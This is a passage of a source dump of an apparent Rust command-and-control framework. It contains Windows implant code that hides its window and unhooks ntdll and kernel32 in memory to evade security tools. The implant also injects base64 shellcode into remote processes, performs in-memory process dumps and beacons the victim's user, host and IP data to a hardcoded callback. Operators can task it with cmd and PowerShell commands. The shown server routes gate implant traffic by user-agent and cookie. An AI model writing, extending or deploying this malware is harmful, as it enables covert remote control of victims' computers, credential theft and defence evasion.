189 | for inf in ifaces {
190 | for addr in inf.addresses {
191 | match addr.address_family {
192 | ifcfg::AddressFamily::IPv4 => {
193 | let ip_raw = addr.address.unwrap().to_string();
194 | if iface_string.is_empty() {
195 | iface_string = format!("{}", ip_raw);
196 | continue;
197 | }
198 | iface_string = format!("{},{}", iface_string, ip_raw);
199 | }
200 | _ => (),
201 | }
202 | }
203 | }
204 | iface_string
205 | }
206 |
207 | fn pid() -> u32 {
208 | std::process::id()
209 | }
210 |
211 | // TODO
212 | // dynamic with build env var
213 | fn user_link() -> String {
214 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko".to_string()
215 | }
216 |
--------------------------------------------------------------------------------
/src/links/windows/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "link"
3 | version = "0.1.0"
4 | authors = ["postrequest"]
5 | edition = "2018"
6 | doc = false
7 |
8 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
9 |
10 | [profile.release]
11 | lto = true
12 | opt-level = 's'
13 | panic = 'abort'
14 | codegen-units = 1
15 |
16 | [lib]
17 | path = "src/lib.rs"
18 | crate-type = ["staticlib", "cdylib"]
19 |
20 | [features]
21 | dangerous_configuration = ["rustls/dangerous_configuration"]
22 |
23 | [dependencies]
24 | winapi = { version = "0.3", features = ["heapapi", "winbase", "winhttp", "memoryapi"] }
25 | reqwest = { version = "0.10", features = ["blocking", "cookies", "json"] }
26 | rustls = "0.19.0"
27 | serde = "1.0.118"
28 | webpki = "0.21.4"
29 | base64 = "0.13.0"
30 | goblin = "0.3"
31 | obfstr = "0.3"
32 | ifcfg = { git = "https://github.com/postrequest/ifcfg-rs", branch = "cross-compilation-windows-dynamic" }
33 | sysinfo = "0.17"
34 | safetydump = { git = "https://github.com/postrequest/safetydump", branch = "main" }
35 | dynamic-winapi = { git = "https://github.com/postrequest/dynamic-winapi", branch = "main" }
36 |
--------------------------------------------------------------------------------
/src/links/windows/build.rs:
--------------------------------------------------------------------------------
1 | fn main() {
2 | println!("cargo:rustc-env=CALLBACK=10.0.2.2:8443");
3 | }
--------------------------------------------------------------------------------
/src/links/windows/src/evasion.rs:
--------------------------------------------------------------------------------
1 | use std::fs;
2 | use std::ffi::c_void;
3 | use goblin::pe::PE;
4 |
5 | use crate::stdlib::get_wide;
6 |
7 | pub fn refresh_dlls() {
8 | // load dlls
9 | let kernel32_bytes = match fs::read("C:\\Windows\\System32\\kernel32.dll") {
10 | Err(_) => return,
11 | Ok(kernel32) => kernel32,
12 | };
13 | let kernelbase_bytes = match fs::read("C:\\Windows\\System32\\KernelBase.dll") {
14 | Err(_) => return,
15 | Ok(kernel32) => kernel32,
16 | };
17 | let ntdll_bytes = match fs::read("C:\\Windows\\System32\\ntdll.dll") {
18 | Err(_) => return,
19 | Ok(ntdll) => ntdll,
20 | };
21 | // parse dlls
22 | let kernel32 = PE::parse(&kernel32_bytes).unwrap();
23 | let kernelbase = PE::parse(&kernelbase_bytes).unwrap();
24 | let ntdll = PE::parse(&ntdll_bytes).unwrap();
25 | // find .text sections
26 | let mut k32_text_ptr: *mut c_void = 0 as _;
27 | let mut k32_text_size: usize = 0;
28 | let mut kernelbase_text_ptr: *mut c_void = 0 as _;
29 | let mut kernelbase_text_size: usize = 0;
30 | let mut ntdll_text_ptr: *mut c_void = 0 as _;
31 | let mut ntdll_text_size: usize = 0;
32 | for i in 0..kernel32.sections.len() {
33 | if kernel32.sections[i].name().unwrap() == ".text" {
34 | k32_text_ptr = kernel32.sections[i].pointer_to_raw_data as *mut c_void;
35 | k32_text_size = kernel32.sections[i].size_of_raw_data as usize;
36 | break;
37 | }
38 | }
39 | for i in 0..kernelbase.sections.len() {
40 | if kernelbase.sections[i].name().unwrap() == ".text" {
41 | kernelbase_text_ptr = kernelbase.sections[i].pointer_to_raw_data as *mut c_void;
42 | kernelbase_text_size = kernelbase.sections[i].size_of_raw_data as usize;
43 | break;
44 | }
45 | }
46 | for i in 0..ntdll.sections.len() {
47 | if ntdll.sections[i].name().unwrap() == ".text" {
48 | ntdll_text_ptr = ntdll.sections[i].pointer_to_raw_data as *mut c_void;
49 | ntdll_text_size = ntdll.sections[i].size_of_raw_data as usize;
50 | break;
51 | }
52 | }
53 | // get dll handles
54 | let loaded_k32 = unsafe {winapi::um::libloaderapi::LoadLibraryExW(get_wide("kernel32.dll").as_ptr(), 0 as _, 0 as _)};
55 | let loaded_ntdll = unsafe {winapi::um::libloaderapi::LoadLibraryExW(get_wide("ntdll.dll").as_ptr(), 0 as _, 0 as _)};
56 | // get .text address of dll
57 | let loaded_k32_text = unsafe{(loaded_k32 as *mut c_void).offset(0x1000)};
58 | let loaded_ntdll_text = unsafe{(loaded_ntdll as *mut c_void).offset(0x1000)};
59 | // write .text section of known good bytes into potentially bad dlls in memory
60 | // kernel32
61 | let pid = std::process::id();
62 | let handle = unsafe {winapi::um::processthreadsapi::OpenProcess(
63 | winapi::um::winnt::PROCESS_ALL_ACCESS,
64 | 0x01,
65 | pid
66 | )};
67 | let mut old_protect: u32 = 0;
68 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx(
69 | handle,
70 | loaded_k32_text,
71 | k32_text_size,
72 | winapi::um::winnt::PAGE_EXECUTE_READWRITE,
73 | &mut old_protect
74 | )};
75 | let mut ret_len: usize = 0;
76 | let _ = unsafe {winapi::um::memoryapi::WriteProcessMemory(
77 | handle,
78 | loaded_k32_text,
79 | k32_text_ptr,
80 | k32_text_size,
81 | &mut ret_len
82 | )};
83 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx(
84 | handle,
85 | loaded_k32_text,
86 | k32_text_size,
87 | old_protect,
88 | &mut old_protect
89 | )};
90 | // ntdll
91 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx(
92 | handle,
93 | loaded_ntdll_text,
94 | ntdll_text_size,
95 | winapi::um::winnt::PAGE_EXECUTE_READWRITE,
96 | &mut old_protect
97 | )};
98 | let _ = unsafe {winapi::um::memoryapi::WriteProcessMemory(
99 | handle,
100 | loaded_ntdll_text,
101 | ntdll_text_ptr,
102 | ntdll_text_size,
103 | &mut ret_len
104 | )};
105 | let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx(
106 | handle,
107 | loaded_ntdll_text,
108 | ntdll_text_size,
109 | old_protect,
110 | &mut old_protect
111 | )};
112 | }
113 |
--------------------------------------------------------------------------------
/src/links/windows/src/lib.rs:
--------------------------------------------------------------------------------
1 | pub mod stdlib;
2 | pub mod nonstd;
3 | pub mod evasion;
4 |
5 | #[no_mangle]
6 | pub extern fn main() {
7 | evasion::refresh_dlls();
8 | stdlib::link_loop();
9 | }
10 |
--------------------------------------------------------------------------------
/src/links/windows/src/main.rs:
--------------------------------------------------------------------------------
1 | #![windows_subsystem = "windows"]
2 | // above declaration keeps the window hidden
3 |
4 | mod nonstd;
5 | mod stdlib;
6 | mod evasion;
7 |
8 | // UM link
9 | fn main() {
10 | evasion::refresh_dlls();
11 | stdlib::link_loop();
12 | }
--------------------------------------------------------------------------------
/src/links/windows/src/nonstd.rs:
--------------------------------------------------------------------------------
1 | #![allow(non_snake_case)]
2 | extern crate winapi;
3 |
4 | use std::{
5 | io::{
6 | Error,
7 | ErrorKind::BrokenPipe,
8 | Result,
9 | },
10 | mem::{size_of, transmute},
11 | sync::mpsc::{channel, Receiver},
12 | thread,
13 | time::Duration,
14 | };
15 |
16 | use winapi::{
17 | ctypes::c_void,
18 | shared::{
19 | ntdef::{HANDLE, TRUE},
20 | minwindef::{DWORD, LPVOID},
21 | },
22 | um::{
23 | fileapi::ReadFile,
24 | minwinbase::{SECURITY_ATTRIBUTES, STILL_ACTIVE},
25 | processthreadsapi::{PROCESS_INFORMATION, STARTUPINFOW},
26 | winbase::{CREATE_NO_WINDOW, CREATE_SUSPENDED, HANDLE_FLAG_INHERIT},
27 | winnt::{MEM_COMMIT, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS},
28 | },
29 | };
30 | use dynamic_winapi::um::{
31 | handleapi::{CloseHandle, SetHandleInformation},
32 | memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
33 | namedpipeapi::CreatePipe,
34 | processthreadsapi::{
35 | CreateProcessW, CreateRemoteThreadEx, GetExitCodeThread, OpenProcess,
36 | QueueUserAPC, ResumeThread,
37 | },
38 | };
39 |
40 | use crate::stdlib::get_wide;
41 |
42 | pub fn process_injection(args: Vec<&str>) -> String {
43 | if args.len() < 2 {
44 | return obfstr::obfstr!("please specify PID").to_string()
45 | }
46 |
47 | let pid = match args[1].parse::() {
48 | Err(e) => return e.to_string(),
49 | Ok(pid) => pid,
50 | };
51 | let shellcode_b64 = args[2];
52 | let mut shellcode = base64::decode(shellcode_b64).unwrap();
53 | let shellcode_ptr: *mut c_void = shellcode.as_mut_ptr() as *mut c_void;
54 |
55 | // get process handle
56 | let handle = unsafe {OpenProcess().unwrap()(
57 | PROCESS_ALL_ACCESS,
58 | 0x01,
59 | pid
60 | )};
61 |
62 | // alloc payload
63 | let addr_shellcode = unsafe {VirtualAllocEx().unwrap()(
64 | handle,
65 | 0 as _,
66 | shellcode.len(),
67 | MEM_COMMIT,
68 | PAGE_READWRITE
69 | )};
70 | let mut ret_len: usize = 0;
71 | let _ = unsafe {WriteProcessMemory().unwrap()(
72 | handle,
73 | addr_shellcode,
74 | shellcode_ptr,
75 | shellcode.len(),
76 | &mut ret_len
77 | )};
78 |
79 | // protect and execute
80 | let mut old_protect: u32 = 0;
81 | let _ = unsafe {VirtualProtectEx().unwrap()(
82 | handle,
83 | addr_shellcode,
84 | shellcode.len(),
85 | PAGE_EXECUTE_READ,
86 | &mut old_protect
87 | )};
88 | let _ = unsafe {CreateRemoteThreadEx().unwrap()(
89 | handle,
90 | 0 as _,
91 | 0,
92 | transmute(addr_shellcode),
93 | 0 as _,
94 | 0,
95 | 0 as _,
96 | 0 as _
97 | )};
98 |
99 | obfstr::obfstr!("success").to_string()
100 | }
101 |
102 | struct HandleSend {
103 | handle: *mut c_void,
104 | }
105 |
106 | unsafe impl Send for HandleSend {}
107 |
108 | pub fn execute_shellcode(args: Vec<&str>) -> String {
109 | if args.len() < 2 {
110 | return "".to_string()
111 | }
112 |
113 | // extract arguments
114 | let process = args[1];
115 | let shellcode_b64 = args[2];
116 | let mut shellcode = base64::decode(shellcode_b64).unwrap();
117 | let shellcode_ptr: *mut c_void = shellcode.as_mut_ptr() as *mut c_void;
118 |
119 | // dynamically resolve required functions
120 | let CreatePipe = CreatePipe().unwrap();
121 | let SetHandleInformation = SetHandleInformation().unwrap();
122 | let CreateProcessW = CreateProcessW().unwrap();
123 | let QueueUserAPC = QueueUserAPC().unwrap();
124 | let CloseHandle = CloseHandle().unwrap();
125 | let GetExitCodeThread = GetExitCodeThread().unwrap();
126 | let ResumeThread = ResumeThread().unwrap();
127 |
128 | let mut std_in_r: HANDLE = 0 as _;
129 | let mut std_in_w: HANDLE = 0 as _;
130 | let mut std_out_r: HANDLE = 0 as _;
131 | let mut std_out_w: HANDLE = 0 as _;
132 | // sec attributes
133 | let mut sa = SECURITY_ATTRIBUTES {
134 | nLength: size_of::() as _,
135 | lpSecurityDescriptor: 0 as _,
136 | bInheritHandle: 1,
137 | };
138 | // create pipes
139 | let _ = unsafe { CreatePipe(&mut std_in_r, &mut std_in_w, &mut sa, 0) };
140 | let _ = unsafe { SetHandleInformation(std_in_w, HANDLE_FLAG_INHERIT, 0) };
141 | let _ = unsafe { CreatePipe(&mut std_out_r, &mut std_out_w, &mut sa, 0) };
142 | let _ = unsafe { SetHandleInformation(std_out_r, HANDLE_FLAG_INHERIT, 0) };
143 |
144 | let mut si = STARTUPINFOW{
145 | cb: size_of::() as DWORD,
146 | lpReserved: 0 as _,
147 | lpDesktop: 0 as _,
148 | lpTitle: 0 as _,
149 | dwX: 0,
150 | dwY: 0,
151 | dwXSize: 0,
152 | dwYSize: 0,
153 | dwXCountChars: 0,
154 | dwYCountChars: 0,
155 | dwFillAttribute: 0,
156 | dwFlags: 0x00000100,
157 | wShowWindow: 1,
158 | cbReserved2: 0,
159 | lpReserved2: 0 as _,
160 | hStdInput: std_in_r,
161 | hStdOutput: std_out_w,
162 | hStdError: std_out_w,
163 | };
164 | let mut pi = PROCESS_INFORMATION{
165 | hProcess: 0 as _,
166 | hThread: 0 as _,
167 | dwProcessId: 0,
168 | dwThreadId: 0,
169 | };
170 |
171 |
172 | // read shellcode output in thread
173 | let mut out_buf: Vec = Vec::new();
174 | let out_string: String;
175 | let (tx, rx) = channel::();
176 | let (tx_kill, rx_kill) = channel::();
177 | let tmp_handle = HandleSend {
178 | handle: std_out_r
179 | };
180 |
181 | thread::spawn(move || {
182 | let ret = read_from_pipe(tmp_handle.handle, &mut out_buf, &rx_kill);
183 | match ret {
184 | Ok(_) => tx.send(String::from_utf8(out_buf).unwrap()).unwrap(),
185 | Err(_) => tx.send(obfstr::obfstr!("error reading from pipe").to_string()).unwrap(),
186 | }
187 | });
188 |
189 | // spawn suspended process
190 | let _ = unsafe { CreateProcessW(
191 | 0 as _,
192 | get_wide(process).as_mut_ptr(),
193 | 0 as _,
194 | 0 as _,
195 | TRUE as _,
196 | CREATE_NO_WINDOW | CREATE_SUSPENDED,
197 | 0 as _,
198 | 0 as _,
199 | &mut si,
200 | &mut pi,
201 | )};
202 |
203 | let handle = pi.hProcess;
204 |
205 | // alloc payload
206 | let addr_shellcode = unsafe {VirtualAllocEx().unwrap()(
207 | handle,
208 | 0 as _,
209 | shellcode.len(),
210 | MEM_COMMIT,
211 | PAGE_READWRITE
212 | )};
213 | let mut ret_len: usize = 0;
214 | let _ = unsafe {WriteProcessMemory().unwrap()(
215 | handle,
216 | addr_shellcode,
217 | shellcode_ptr,
218 | shellcode.len(),
219 | &mut ret_len
220 | )};
221 |
222 | // protect
223 | let mut old_protect: u32 = 0;
224 | let _ = unsafe {VirtualProtectEx().unwrap()(
225 | handle,
226 | addr_shellcode,
227 | shellcode.len(),
228 | PAGE_EXECUTE_READ,
229 | &mut old_protect
230 | )};
231 |
232 | // Queue shellcode for execution and resume thread
233 | let _ = unsafe { QueueUserAPC(
234 | Some(transmute(addr_shellcode)),
235 | pi.hThread,
236 | 0 as _
237 | )};
238 | let _ = unsafe { ResumeThread(pi.hThread) };
239 |
240 | // close handles
241 | let _ = unsafe { CloseHandle(handle); };
242 | let _ = unsafe { CloseHandle(std_out_w); };
243 | let _ = unsafe { CloseHandle(std_in_r); };
244 |
245 | // wait for thread to finish
246 | loop {
247 | let mut ret_code: u32 = 0;
248 | let _ = unsafe {GetExitCodeThread(
249 | pi.hThread,
250 | &mut ret_code
251 | )};
252 | if ret_code == STILL_ACTIVE {
253 | continue;
254 | } else {
255 | let _ = tx_kill.send(true);
256 | match rx.recv() {
257 | Ok(output) => {
258 | out_string = output;
259 | break;
260 | },
261 | Err(_) => {
262 | out_string = obfstr::obfstr!("could not get output").to_string();
263 | break;
264 | },
265 | }
266 | }
267 | }
268 | out_string
269 | }
270 |
271 | pub trait IsZero {
272 | fn is_zero(&self) -> bool;
273 | }
274 |
275 | macro_rules! impl_is_zero {
276 | ($($t:ident)*) => ($(impl IsZero for $t {
277 | fn is_zero(&self) -> bool {
278 | *self == 0
279 | }
280 | })*)
281 | }
282 |
283 | impl_is_zero! { i8 i16 i32 i64 isize u8 u16 u32 u64 usize }
284 |
285 | pub fn cvt(i: I) -> Result {
286 | if i.is_zero() { Err(Error::last_os_error()) } else { Ok(i) }
287 | }
288 |
289 | pub fn read_from_pipe(handle: HANDLE, buf: &mut Vec, kill: &Receiver) -> Result {
290 | let mut total_read = 0;
291 | let kill = kill.to_owned();
292 | let mut complete = false;
293 | loop {
294 | let mut read = 0;
295 | let mut tmp_buf = [0; 10001];
296 | let res = cvt(unsafe {
297 | ReadFile(handle, tmp_buf.as_mut_ptr() as LPVOID, 10001 as _, &mut read, 0 as _)
298 | });
299 |
300 | match res {
301 | Ok(_) => {
302 | buf.extend_from_slice(&tmp_buf);
303 | total_read = total_read + read;
304 | },
305 | Err(ref e) if e.kind() == BrokenPipe => break,
306 | Err(_) => break,
307 | }
308 | if complete {
309 | continue;
310 | }
311 | match kill.recv_timeout(Duration::from_millis(100)) {
312 | Ok(_) => { complete = true; },
313 | Err(_) => {},
314 | }
315 | }
316 | Ok(total_read as usize)
317 | }
--------------------------------------------------------------------------------
/src/links/windows/src/stdlib.rs:
--------------------------------------------------------------------------------
1 | // imports
2 | use std::os::windows::process::CommandExt;
3 | use std::time::Duration;
4 | use std::thread::sleep;
5 | use serde::{Serialize, Deserialize};
6 | use std::ffi::OsStr;
7 | use std::os::windows::ffi::OsStrExt;
8 |
9 | use crate::nonstd;
10 |
11 | // structs
12 | #[derive(Debug, Serialize, Deserialize)]
13 | pub struct RegisterLink {
14 | pub link_username: String,
15 | pub link_hostname: String,
16 | pub internal_ip: String,
17 | pub external_ip: String,
18 | pub platform: String,
19 | pub pid: u32,
20 | }
21 |
22 | #[derive(Debug, Serialize, Deserialize)]
23 | pub struct Task {
24 | pub q: String,
25 | pub tasking: String,
26 | pub x_request_id: String,
27 | }
28 |
29 | pub fn link_loop() {
30 | let ua = user_link();
31 | let client = reqwest::blocking::Client::builder()
32 | .user_agent(ua)
33 | .cookie_store(true)
34 | .danger_accept_invalid_certs(true)
35 | //.http2_prior_knowledge()
36 | .build().unwrap();
37 | // SECURITY
38 | // encrypted callback string with env var at build
39 | let callback = env!("CALLBACK").to_string();
40 | let step1_cb = format!("https://{}/js", callback);
41 | let step2_cb = format!("https://{}/static/register", callback);
42 | let step3_cb = format!("https://{}/static/get", callback);
43 | // keep retrying to reach C2
44 | loop {
45 | let step1 = client.get(step1_cb.as_str()).send();
46 | match step1 {
47 | Ok(_) => break,
48 | Err(_) => continue,
49 | }
50 | }
51 | let register_link = RegisterLink {
52 | link_username: username(),
53 | link_hostname: hostname(),
54 | internal_ip: internal_ip(),
55 | external_ip: String::new(),
56 | platform: std::env::consts::OS.to_string(),
57 | pid: pid(),
58 | };
59 | let mut uresp: reqwest::blocking::Response;
60 | loop {
61 | let resp = client.post(step2_cb.as_str())
62 | .json(®ister_link)
63 | .send();
64 | match resp {
65 | Ok(_) => {
66 | uresp = resp.unwrap();
67 | break
68 | },
69 | Err(_) => continue,
70 | }
71 | }
72 | let mut recv_task: Task = uresp.json().unwrap();
73 |
74 | // link loop
75 | let mut send_task = Task {
76 | q: String::from(""),
77 | tasking: String::from(""),
78 | x_request_id: String::from(""),
79 | };
80 | loop {
81 | // poll
82 | let resp = client.post(step3_cb.as_str())
83 | .header("x-request-id", recv_task.x_request_id.clone())
84 | .json(&send_task)
85 | .send();
86 | match resp {
87 | Ok(_) => (),
88 | Err(_) => continue,
89 | }
90 | uresp = resp.unwrap();
91 | recv_task = uresp.json().unwrap();
92 | send_task.q = String::new();
93 | send_task.tasking = String::new();
94 |
95 | if recv_task.tasking.len() > 0 {
96 | // time to exec the command
97 | send_task.q = link_command(recv_task.q);
98 | if send_task.q.clone() == "exit".to_string() {
99 | break;
100 | }
101 | send_task.tasking = recv_task.tasking;
102 | recv_task.q = String::new();
103 | recv_task.tasking = String::new();
104 | // no need to wait after a task
105 | continue;
106 | }
107 | // this should be defined by server with jitter and delay
108 | sleep(Duration::from_secs(3));
109 | }
110 | }
111 |
112 | fn link_command(command: String) -> String {
113 | // DEBUG AGENT
114 | let arg_split = command.as_str().split(' ');
115 | let args = arg_split.collect::>();
116 | // obfsscated args
117 | match args[0] {
118 | a if (a == obfstr::obfstr!("procdump")) => safetydump::in_memory_dump(args),
119 | a if (a == obfstr::obfstr!("execute-shellcode")) => nonstd::execute_shellcode(args),
120 | a if (a == obfstr::obfstr!("inject")) => nonstd::process_injection(args),
121 | a if (a == obfstr::obfstr!("cmd")) => command_spawn(args),
122 | a if (a == obfstr::obfstr!("shell")) => shell(args),
123 | a if (a == obfstr::obfstr!("powershell")) => powershell(args),
124 | a if (a == obfstr::obfstr!("cd")) => cd(args),
125 | a if (a == obfstr::obfstr!("pwd")) => pwd(),
126 | a if (a == obfstr::obfstr!("ls")) => ls(args),
127 | a if (a == obfstr::obfstr!("pid")) => pid().to_string(),
128 | a if (a == obfstr::obfstr!("whoami")) => String::from(format!("{}\\{}", hostname(), username())),
129 | a if (a == obfstr::obfstr!("integrity")) => integrity(),
130 | a if (a == obfstr::obfstr!("exit")) => return "exit".to_string(),
131 | _ => String::from(format!("not a command")),
132 | }
133 | }
134 |
135 | fn shell(args: Vec<&str>) -> String {
136 | if args.len() < 1 {
137 | return String::from("")
138 | }
139 | let output = std::process::Command::new(args[1])
140 | .args(&args[2..])
141 | .creation_flags(winapi::um::winbase::CREATE_NO_WINDOW)
142 | .output();
143 | match output {
144 | Ok(output) => { return String::from(format!("{}{}",
145 | String::from_utf8(output.stdout).unwrap(),
146 | String::from_utf8(output.stderr).unwrap()))
147 | },
148 | Err(e) => return format!("{}", e),
149 | }
150 | }
151 |
152 | fn command_spawn(args: Vec<&str>) -> String {
153 | if args.len() < 1 {
154 | return String::from("")
155 | }
156 | let command_string = args[1..].join(" ");
157 | let command = command_string.as_str();
158 | let output = std::process::Command::new("cmd")
159 | .args(&["/C", command])
160 | .creation_flags(winapi::um::winbase::CREATE_NO_WINDOW)
161 | .output();
162 | match output {
163 | Ok(output) => { return String::from(format!("{}{}",
164 | String::from_utf8(output.stdout).unwrap(),
165 | String::from_utf8(output.stderr).unwrap()))
166 | },
167 | Err(e) => return format!("{}", e),
168 | }
169 | }
170 |
171 | fn powershell(args: Vec<&str>) -> String {
172 | if args.len() < 1 {
173 | return String::from("")
174 | }
175 | let command_string = args[1..].join(" ");
176 | let output = std::process::Command::new("powershell")
177 | .args(&["-noP", "-sta", "-w", "1", command_string.as_str()])
178 | .creation_flags(winapi::um::winbase::CREATE_NO_WINDOW)
179 | .output();
180 | match output {
181 | Ok(output) => { return String::from(format!("{}{}",
182 | String::from_utf8(output.stdout).unwrap(),
183 | String::from_utf8(output.stderr).unwrap()))
184 | },
185 | Err(e) => return format!("{}", e),
186 | }
187 | }
188 |
189 | fn ls(args: Vec<&str>) -> String {
190 | let mut directory = ".";
191 | if args.len() > 1 {
192 | directory = args[1];
193 | }
194 | let read = std::fs::read_dir(directory);
195 | let mut output: Vec = Vec::new();
196 | if read.is_ok() {
197 | for path in read.unwrap() {
198 | if let Ok(entry) = path {
199 | // get more metadata and format correctly
200 | // file and folder perms
201 | if let Ok(metadata) = entry.metadata() {
202 | output.push(String::from(format!("{:100} {}", entry.path().display(), metadata.len())));
203 | } else {
204 | output.push(String::from(format!("{}", entry.path().display())));
205 | }
206 | }
207 | }
208 | } else {
209 | return String::from(format!("Could not ls: {:?}", read.err().unwrap()))
210 | }
211 | output.join("\n")
212 | }
213 |
214 | fn pwd() -> String {
215 | if let Ok(current) = std::env::current_dir() {
216 | return String::from(format!("{}", current.display()))
217 | } else {
218 | return String::from("Could not get current directory")
219 | }
220 | }
221 |
222 | fn cd(args: Vec<&str>) -> String {
223 | if args.len() > 1 {
224 | if std::env::set_current_dir(args[1]).is_ok() {
225 | return String::from(args[1])
226 | } else {
227 | return String::from("Could not change directory")
228 | }
229 | } else {
230 | return String::from("")
231 | }
232 | }
233 |
234 | fn username() -> String {
235 | let mut name = [0; 256];
236 | let mut size = 256;
237 | unsafe {
238 | winapi::um::winbase::GetUserNameW(&mut name[0], &mut size);
239 | }
240 | String::from_utf16_lossy(&name[..size as usize])
241 | }
242 |
243 | fn hostname() -> String {
244 | let mut name = [0; 256];
245 | let mut size = 256;
246 | unsafe {
247 | winapi::um::winbase::GetComputerNameW(&mut name[0], &mut size);
248 | }
249 | String::from_utf16_lossy(&name[..size as usize])
250 | }
251 |
252 | fn internal_ip() -> String {
253 | let mut iface_string = String::new();
254 | let ifaces = ifcfg::IfCfg::get().expect("no if");
255 | for inf in ifaces {
256 | for addr in inf.addresses {
257 | match addr.address_family {
258 | ifcfg::AddressFamily::IPv4 => {
259 | let ip_raw = addr.address.unwrap().to_string();
260 | if iface_string.is_empty() {
261 | iface_string = format!("{}", ip_raw);
262 | continue;
263 | }
264 | iface_string = format!("{},{}", iface_string, ip_raw);
265 | }
266 | _ => (),
267 | }
268 | }
269 | }
270 | iface_string
271 | }
272 |
273 | fn pid() -> u32 {
274 | std::process::id()
275 | }
276 |
277 | fn integrity() -> String {
278 | // TODO
279 | // Low (SID: S-1-16-4096)
280 | // Medium (SID: S-1-16-8192)
281 | // High (SID: S-1-16-12288)
282 | // System (SID: S-1-16-16384)
283 | if username().to_lowercase() == "system" {
284 | return "System".to_string()
285 | }
286 | "Medium".to_string()
287 | }
288 |
289 | // TODO
290 | // dynamic with build env var
291 | fn user_link() -> String {
292 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko".to_string()
293 | }
294 |
295 | pub fn get_wide(s: &str) -> Vec {
296 | OsStr::new(s).encode_wide().chain(std::iter::once(0)).collect()
297 | }
298 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | // internal packages
2 | pub mod routes;
3 | pub mod server;
4 | pub mod util;
5 |
6 | #[macro_use] extern crate prettytable;
7 |
8 | #[actix_web::main]
9 | async fn main() {
10 | util::cli::main_loop().await;
11 | }
12 |
--------------------------------------------------------------------------------
/src/models/db.rs:
--------------------------------------------------------------------------------
1 | // TODO
2 | // add DB support
3 | /*
4 | extern crate sqlx;
5 | use sqlx::sqlite::SqlitePool;
6 | use sqlx::Done;
7 |
8 | // references
9 | // https://github.com/actix/examples/blob/master/sqlx_todo/src/main.rs
10 | // https://github.com/launchbadge/sqlx/tree/master/examples/sqlite/todos
11 | //
12 |
13 | pub fn start() {
14 | let pool = SqlitePool::connect("sqlite:protocol.db").await?;
15 | }
16 | */
17 |
18 |
--------------------------------------------------------------------------------
/src/models/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod db;
2 |
--------------------------------------------------------------------------------
/src/routes/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod urls;
2 |
--------------------------------------------------------------------------------
/src/routes/urls.rs:
--------------------------------------------------------------------------------
1 | use actix_web::{get, guard, web, FromRequest, HttpResponse, Responder};
2 | use serde::{Deserialize, Serialize};
3 | //use std::io::Write;
4 |
5 | // internal packages
6 | use crate::server::{links, tasks};
7 | use links::Links;
8 | use tasks::TaskStatus;
9 |
10 | // structs
11 | #[derive(Debug, Serialize, Deserialize)]
12 | pub struct RegisterLink {
13 | pub link_username: String,
14 | pub link_hostname: String,
15 | pub internal_ip: String,
16 | pub external_ip: String,
17 | pub platform: String,
18 | pub pid: u32,
19 | }
20 |
21 | #[derive(Debug, Serialize, Deserialize)]
22 | pub struct Callback {
23 | pub q: String,
24 | pub tasking: String,
25 | }
26 |
27 | #[derive(Debug, Serialize, Deserialize)]
28 | pub struct Task {
29 | pub q: String,
30 | pub tasking: String,
31 | pub x_request_id: String,
32 | }
33 |
34 | // non link routes
35 | #[get("/")]
36 | pub async fn index() -> impl Responder {
37 | // link and non link traffic should not be able to reach here by introducing another check
38 | HttpResponse::Ok().body("Ok\n")
39 | }
40 |
41 | // link pass tests
42 | pub async fn stage_one_secret() -> impl Responder {
43 | // SECURITY
44 | // these should be a lot more thorough
45 | // add dynamic per link cookie as well as below to sessionid=xxxxx-xxxx-xx-x-x-x-xx-xx
46 | let cookie = actix_web::cookie::Cookie::build("banner", "banner")
47 | .path("/")
48 | .secure(true)
49 | .http_only(true)
50 | .same_site(actix_web::cookie::SameSite::Strict)
51 | .finish();
52 | HttpResponse::Ok().cookie(cookie).body("Ok\n")
53 | }
54 |
55 | // configurations
56 | pub fn stage_one_pass(cfg: &mut web::ServiceConfig) {
57 | cfg.service(
58 | web::resource("")
59 | // guards should be dynamic, such as user agent
60 | .guard(guard::Header(
61 | "user-agent",
62 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
63 | ))
64 | .route(web::get().to(stage_one_secret)),
65 | );
66 | }
67 |
68 | pub fn pass_link_config(cfg: &mut web::ServiceConfig) {
69 | // guard headers are case sensitive!!!
70 | cfg.service(
71 | web::resource("/get")
72 | // custom Json size
73 | .data(web::Json::::configure(|cfg| {
74 | cfg.limit(1024 * 1024 * 1000)
75 | }))
76 | // guards should be dynamic, such as user agent and per link sessionid cookie
77 | .guard(guard::Header(
78 | "user-agent",
79 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
80 | ))
81 | .guard(guard::Header("cookie", "banner=banner"))
82 | .route(web::post().to(link_poll)),
83 | );
84 | cfg.service(
85 | // change these names for actual static items such as icon.png etc...
86 | web::resource("/register")
87 | // guards should be dynamic, such as user agent and per link sessionid cookie
88 | .guard(guard::Header(
89 | "user-agent",
90 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
91 | ))
92 | .guard(guard::Header("cookie", "banner=banner"))
93 | .route(web::post().to(link_register)),
94 | );
95 | }
96 |
97 | // link callbacks
98 | // SECURITY
99 | // add bruteforce countermeasures here
100 | pub async fn link_register(
101 | query: web::Json,
102 | http_req: web::HttpRequest,
103 | data: web::Data,
104 | ) -> impl Responder {
105 | let mut new = links::Link::new();
106 | let new_x_request_id = format!("{}", new.x_request_id);
107 | new.link_username = query.link_username.clone();
108 | new.link_hostname = query.link_hostname.clone();
109 | new.internal_ip = query.internal_ip.clone();
110 | new.external_ip = "not yet do via google||microsoft".to_string();
111 | new.platform = query.platform.clone();
112 | new.pid = query.pid;
113 | // already a guard on this header but good practice
114 | // get user_agent
115 | let user_agent = http_req.headers().get("user-agent");
116 | if user_agent.is_some() {
